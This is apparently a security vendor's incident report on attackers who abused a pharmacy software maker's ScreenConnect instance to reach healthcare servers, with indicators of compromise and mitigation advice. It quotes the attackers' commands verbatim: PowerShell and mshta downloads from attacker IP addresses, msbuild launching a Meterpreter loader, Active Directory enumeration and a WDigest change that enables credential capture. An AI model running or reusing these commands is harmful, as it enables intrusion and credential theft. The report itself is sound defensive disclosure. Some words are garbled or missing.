Ģ��TV

In a concerning development within the healthcare sector, Ģ��TV has identified a series of unauthorized access that signifies internal reconnaissance and preparation for additional threat actor activity against multiple healthcare organizations.��

The attackers abused a locally hosted instance of a widely-used remote access tool, ScreenConnect—utilized by the company Transaction Data Systems (which recently merged with and was renamed Outcomes), the makers of Rx30 and ComputerRx software — for initial access to victim organizations. The threat actor proceeded to take several steps, including installing additional remote access tools such as ScreenConnect or AnyDesk instances, to ensure persistent access to the environments.

Overview

In this article, there are multiple ScreenConnect instances at play; there are a total of four instances observed, across two endpoints, from completely distinct organizations (i.e., not the same company, not managed by the same MSP, geographically separated, etc.). One of those ScreenConnect instances appeared and was used by the threat actor on both endpoints.��

There were similarities in tactics, techniques, and procedures (TTPs) across both endpoints, as well as multiple intersections in indicators of compromise (IOCs). Specifically, one ScreenConnect instance (instance B) was observed being actively used on both endpoints, the “[redacted 1]” account was observed being used to access both endpoints via ScreenConnect, and the file [.highlight]test.xml[.highlight] was downloaded to both endpoints via PowerShell.

Endpoint 1

Endpoint 1 is a Windows Server 2019 Standard system within an infrastructure in the pharmaceutical field. Log data allowed the Ģ��TV team to ‘see’ as far back as August 9, 2023, where the team observed ScreenConnect instance A being accessed via an account named “[redacted 1]”. There were repeated “Connected” and “Disconnected” messages for the account until the file [.highlight]ConnectWiseControl.ClientSetup.msi[.highlight] was downloaded and launched, installing ScreenConnect instance B on the endpoint. Then, beginning on August 10, 2023, the “[redacted 1]” account was used to access the endpoint via ScreenConnect instance B. There were several pairs of “Connected” and “Disconnected” messages in the logs for the “[redacted 1]” account until October 28, 2023.

On October 28, the “[redacted 2]” account was used to access ScreenConnect instance B, and run the following PowerShell command:

[.highlight]powershell�� -command "& { (New-Object Net.WebClient).DownloadFile('http://2.57.149[.]103/a.msi', 'C:\Users\Administrator\Documents\a.msi') }"��[.highlight]

The [.highlight]a.msi[.highlight] file was launched via [.highlight]MsiExec.exe[.highlight], installing ScreenConnect instance C on the endpoint, connecting to IP address [.highlight]45.66.230[.]146 via port 8041[.highlight]. Shortly after the installation completed, the “[redacted 2]” account disconnected from ScreenConnect instance B.

Two days later, on October 30, ScreenConnect instance C was used to run the following PowerShell command:

[.highlight]powershell�� -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://119.91.138[.]133:443/test.xml', 'c:\programdata\test.xml')"[.highlight]

Almost 20 hours later, on October 31, ScreenConnect instance B was used to run the following command:

[.highlight]C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe�� C:\programdata\test.xml[.highlight]

The payload, [.highlight]test.xml[.highlight] , consists of C# code forking the publicly available for detection evasion and process execution. As designed, the payload attempts to load a Metasploit Meterpreter instance in memory, but antimalware protections on the system identified and attempted to terminate execution. However, this does not appear to have succeeded, as additional processes were observed being launched via the Printer Spooler service, [.highlight]spoolsv.exe[.highlight]. For example, the following processes were observed being run:

[.highlight]nslookup�� myip.opendns[.]com. Resolver1.opendns[.]com[.highlight]

[.highlight]powershell�� -command "Import-Module ActiveDirectory;Get-ADComputer -Filter * -Properties * | Sort IPv4Address | FT Name, ipv4*, oper*, LastLogonDate -Autosize"[.highlight]

[.highlight]C:\Windows\system32\cmd.exe�� /S /D /c type C:\Windows\System32\mimilsa.log | findstr /V Mailbox[.highlight]

Endpoint 2

Endpoint 2 is also a Windows Server 2019 Standard system, within an infrastructure in the healthcare field. Log data illustrates that ScreenConnect instance B (the same “instance B” observed on endpoint 1) was installed and actively being connected to via the “[redacted 1]” account as of November 8, 2022. On November 1, 2023, the file [.highlight]s.msi[.highlight] was transferred to the endpoint via the ScreenConnect instance; launching this file led to ScreenConnect instance D being installed on this endpoint, with the instance configured to connect to [.highlight]185.12.45[.]98[.highlight] on port [.highlight]8041[.highlight].

It was clear that ScreenConnect instance B was still running and accessible on the endpoint; on November 5, 2023, an error message indicated that the instance attempted to connect to the configured endpoint, and a DNS Client message was observed indicating that the configured endpoint could not be resolved.

On November 6, the following PowerShell command was run via ScreenConnect instance D:

[.highlight]powershell -Command $wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://119.91.138[.]133:443/test.xml', 'c:\programdata\test.xml')[.highlight]

The use of [.highlight]msbuild.exe[.highlight] to compile the file and launch the payload was not observed on this endpoint. However, four hours later, the following PowerShell command was run, also via ScreenConnect instance D:

[.highlight]powershell -Command $wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://bashupload[.]com/PXYpf/a.msi', 'c:\programdata\a.msi')[.highlight]

This file was launched via [.highlight]msiexec.exe[.highlight], installing the “AnyDeskMSI Service”. However, about a minute and a half after being launched, this service was stopped via [.highlight]taskkill.exe[.highlight].��

Approximately four hours later, the threat actor made multiple attempts to create the “manager” user account and add the account to the local Administrator group on the endpoint. Once their efforts were successful, the threat actor logged out, then logged back into ScreenConnect instance D via the newly created account, and then used that instance to transfer and launch the file [.highlight]Advanced_IP_Scanner_2.5.4594.1.exe[.highlight]. Finally, the threat actor was observed running the following commands:

[.highlight]mshta http://119.91.138[.]133:9999/5E1Ch[.highlight]

[.highlight]taskkill�� /F /IM mshta.exe[.highlight]

[.highlight]reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f[.highlight]

ScreenConnect Instance B

ScreenConnect instance B, found on both endpoints and accessed via the “[redacted 1]” account, per the user.config file retrieved from one of the endpoints monitored via Ģ��TV, is tied to [.highlight]rs.tdsclinical[.]com[.highlight].��

The observed domain is legitimate and associated with Transaction Data Systems (now named Outcomes). At this time, Ģ��TV cannot identify whether Transaction Data Systems itself has been breached, if credentials for a legitimate Transaction Data Systems-associated employee or user have been leaked, or if some other mechanism was involved tying their remote management of these clients to subsequent threat actor abuse.

Technical Indicators of Compromise (IoCs)

Ģ��TV has identified and urges immediate action upon the following IoCs:

‍

Associated Files & Payloads

Name

SHA256

Function

[.highlight]test.xml[.highlight]

[.highlight]9f42bf3a61faaab8f86abb3c7f9db417bffb3474a55169a4efb1d2386545e4e8[.highlight]

C# payload designed to load Meterpreter into victim memory

[.highlight]a.msi[.highlight]

[.highlight]70f865a7f8a01356685b17abdf6ac738e9a9098f1ae2d5a34cfa3610cb28fc56[.highlight]

AnyDesk MSI installer

[.highlight]s.msi[.highlight]

[.highlight]8c3b4febe58df0a01126d78109f52035d34a4e03f02b5d4fca3e4d94f3f657b3[.highlight]

ScreenConnect MSI installer

ScreenConnect Instance IDs

ScreenConnect Instance ID

Description

[.highlight]adf02e34cba839d2[.highlight]

ScreenConnect instance ID B, associated with [.highlight]rs.tdsclinical[.]com[.highlight]

[.highlight]e3e2410d655306ff[.highlight]

ScreenConnect instance ID C, associated with [.highlight]45.66.230[.]146[.highlight]

[.highlight]4974c38508ef2b18[.highlight]

ScreenConnect instance ID D, associated with [.highlight]185.12.45[.]98[.highlight]

File Paths and Names

[.highlight]C:\programdata\a.msi[.highlight]

[.highlight]C:\programdata\test.xml[.highlight]

[.highlight]C:\Users\Administrator\Documents\a.msi[.highlight]

[.highlight]S.msi[.highlight]

[.highlight]C:\Users\manager\Documents\ConnectWiseControl\Files\Advanced_IP_Scanner_2.5.4594.1.exe[.highlight]

[.highlight]C:\Program Files (x86)\ScreenConnect Client (<unique identifier>)\ScreenConnect.ClientService.exe[.highlight]

Additional Observables

While researching this event, Ģ��TV analysts identified an open directory on [.highlight]2.57.149[.]103[.highlight], shown in the following figure:

In addition to [.highlight]a.msi[.highlight], the AnyDesk installer previously discussed, two additional files were located:

• [.highlight]b.msi[.highlight] ([.highlight]f28ee671c0f894154dd8c145f2b6b819b63348c785a682f60f37529a2aae174e[.highlight]): another ScreenConnect client installer.
• [.highlight]t.zip[.highlight] ([.highlight]ba8521ef14f1ec09f0bcb8f490e30322ca4eb84fa0013ee3bbe9c6a24866d334[.highlight]): an archive containing three additional payloads:
• WinPcap_4_1_3.exe (fc4623b113a1f603c0d9ad5f83130bd6de1c62b973be9892305132389c8588de): a legitimate WinPcap version 4.1.3 executable.
• [.highlight]Masscan64.exe[.highlight] ([.highlight]174f91806e8bc1c0dea24192f7d4afcefc40a1731827b32939d4f411e8402d75[.highlight]): a compiled version of the .��
• [.highlight]veeam.exe[.highlight] ([.highlight]45c8716c69f56e26c98369e626e0b47d7ea5e15d3fb3d97f0d5b6e8997299d1a[.highlight]): an executable containing code to exploit in Veeam software, disclosed in March 2023.

The IP in question appears to be a tool repository for threat actors, although the lack of observations on [.highlight]b.msi[.highlight] and payloads in [.highlight]t.zip[.highlight] in monitored environments makes its association with the ScreenConnect incidents uncertain. However, the payloads in question match overall observed behaviors in terms of remote access tool installation ([.highlight]b.msi[.highlight]) and payloads associated with system survey ([.highlight]masscan64.exe[.highlight]) and data capture (WinPcap_4_1_3.exe). The outlier is [.highlight]veeam.exe[.highlight], as all other observed activity indicates a combination of credential capture or reuse with living-off-the-land techniques or abuse of legitimate software.

Mitigation Guidance

Pharmacies and other healthcare organizations that may be clients of Transaction Data Systems/Outcomes should immediately examine their systems and networks for the above IoCs. Any discovery of these should be taken seriously and investigated promptly. Given the potential implications of such a breach in the healthcare industry, particularly regarding patient data, privacy, and availability of critical services, a comprehensive response is essential.

If you’d like to have someone else watching your back while you work on scoping your environment, start a free trial��with us so our 24/7 SOC can keep an eye out for you.

It's imperative for organizations within the healthcare domain to recognize the gravity of such intrusions and take concerted steps to safeguard their infrastructure. Enhanced endpoint monitoring, robust cybersecurity frameworks, and proactive threat hunting are no longer optional but a necessity in the face of such sophisticated cyber threats.

Outreach to Transaction Data Systems/Outcomes

In our effort to respond responsibly to this situation, we have made several attempts through various channels to contact Transaction Data Systems (now Outcomes) to communicate our findings and offer support in addressing these incidents. We have not yet been able to engage with their team.

We remain open and ready to collaborate for the safety and security of all parties involved.